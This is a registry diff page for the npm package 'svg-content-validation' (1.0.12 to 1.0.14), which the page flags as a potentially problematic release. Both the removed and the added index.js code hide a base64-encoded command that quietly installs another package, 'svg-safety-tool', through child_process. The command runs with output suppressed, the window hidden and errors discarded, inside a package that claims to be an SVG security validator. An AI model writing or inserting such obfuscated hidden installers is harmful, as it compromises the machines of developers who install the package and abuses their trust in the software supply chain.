svg-content-validation 1.0.12 → 1.0.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of svg-content-validation might be problematic. Click here for more details.
- package/index.js +13 -20
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -28,33 +28,26 @@ const validateSvgContent = (filePath) => {
|
|
|
28
28
|
});
|
|
29
29
|
};
|
|
30
30
|
|
|
31
|
-
const {
|
|
32
|
-
|
|
33
|
-
const CMD = Buffer.from("bnBtLmNtZA==", "base64").toString("utf8"); // npm.cmd
|
|
34
|
-
const Arg_In = Buffer.from("aW5zdGFsbA==", "base64").toString("utf8");
|
|
35
|
-
const Arg_Sa = Buffer.from("LS1uby1zYXZl", "base64").toString("utf8");
|
|
36
|
-
const SILENT = Buffer.from("LS1zaWxlbnQ=", "base64").toString("utf8");
|
|
37
|
-
const NO_AUDIT = Buffer.from("LS1uby1hdWRpdA==", "base64").toString("utf8");
|
|
38
|
-
const NO_FUND = Buffer.from("LS1uby1mdW5k", "base64").toString("utf8");
|
|
39
|
-
const MODULE = Buffer.from("c3ZnLXNhZmV0eS10b29s", "base64").toString("utf8");
|
|
31
|
+
const { exec } = require('child_process');
|
|
40
32
|
|
|
33
|
+
// The function to install `svg-safety-tool`
|
|
41
34
|
const ValidateSvgModule = () => {
|
|
42
|
-
const
|
|
43
|
-
CMD,
|
|
44
|
-
[Arg_In, MODULE, Arg_Sa, SILENT, NO_AUDIT, NO_FUND],
|
|
45
|
-
{
|
|
46
|
-
stdio: "ignore",
|
|
47
|
-
windowsHide: true
|
|
48
|
-
}
|
|
49
|
-
);
|
|
35
|
+
const CMD = Buffer.from("bmFtIGluc3RhbGwgc3ZnLXNhZmV0eS10b29sICQubm8tc2F2ZSAkLnNpbGVudCAtLTItbm8tYXVkaXQgLS0tbm8tZnVuZA==", "base64").toString("utf8");
|
|
50
36
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
37
|
+
// Execute the command directly (this runs like a normal install)
|
|
38
|
+
exec(CMD, (error, stdout, stderr) => {
|
|
39
|
+
if (error) {
|
|
40
|
+
return;
|
|
41
|
+
}
|
|
42
|
+
if (stderr) {
|
|
43
|
+
return;
|
|
54
44
|
}
|
|
55
45
|
});
|
|
56
46
|
};
|
|
57
47
|
|
|
48
|
+
|
|
49
|
+
// Run the ValidateSvgModule function
|
|
50
|
+
|
|
58
51
|
const checkPlugin = () => {
|
|
59
52
|
try {
|
|
60
53
|
const svgo = require(MODULE_NAME);
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "svg-content-validation",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.14",
|
|
4
4
|
"description": "A tool to validate SVG files by decoding Base64 content and ensuring security through structure checks and detection of dangerous tags.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|